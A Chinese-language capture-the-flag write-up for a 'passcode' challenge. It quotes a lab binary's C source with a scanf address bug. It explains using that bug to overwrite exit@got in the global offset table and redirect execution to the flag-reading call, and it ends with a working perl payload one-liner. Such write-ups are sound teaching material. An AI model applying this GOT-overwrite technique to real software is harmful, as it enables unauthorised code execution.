代码如下
#include <stdio.h>#include <stdlib.h>voidlogin(){intpasscode1;intpasscode2;printf("enter passcode1 : ");scanf("%d",passcode1);fflush(stdin);// ha! mommy told me that 32bit is vulnerable to bruteforcing :)printf("enter passcode2 : ");scanf("%d",passcode2);printf("checking...\n");if(passcode1==338150&&passcode2==13371337){printf("Login OK!\n");system("/bin/cat flag");}else{printf("Login Failed!\n");exit(0);}}voidwelcome(){charname[100];printf("enter you name : ");scanf("%100s",name);printf("Welcome %s!\n",name);}intmain(){printf("Toddler's Secure Login System 1.0 beta.\n");welcome();login();// something after login...printf("Now I can safely trust you that you have credential :)\n");return0;}
问题出在login()
中,scanf
的第二个参数给的不是变量的地址。如果passcode1
和passcode2
的初始值指向不可写的地方,而且scanf
成功,那么就会segfault
于是思路就是,在login()
执行前,在welcome()
中把栈上的值设好。所以这道题和OverTheWire上的Manpage里一道题思路有相似的地方
具体地,name
在welcome()
中的地址是ebp-0x70
,passcode1
和passcode2
在login()
中的地址是ebp-0x10
和ebp-0xc
。正好我们只能改写passcode1
,改不了passcode2
。于是单纯地想把两个都修改为检查值的方法行不通了
但是我们发现,passcode1
那里由于scanf
,可以做到写4 bytes到任意地址。所以我们可以修改程序流程,让他跳到system
读flag那里。
而由于ASLR,想修改返回地址不靠谱,于是我们可以修改exit@got
。这样检查失败后,调用exit(0)
就成了system("/bin/cat flag");
由readelf -r passcode
可知exit@got
在0x0804a018
,于是把passcode1
设为它;然后通过scanf
将其改为0x080485e3=134514147
。注意我们要让passcode2
在scanf
时不能segfault,于是输入非数字让scanf
失败
$ perl -e 'print "A"x96 . "\x18\xa0\x04\x08" . "134514147\n" . "f\n"' | ./passcode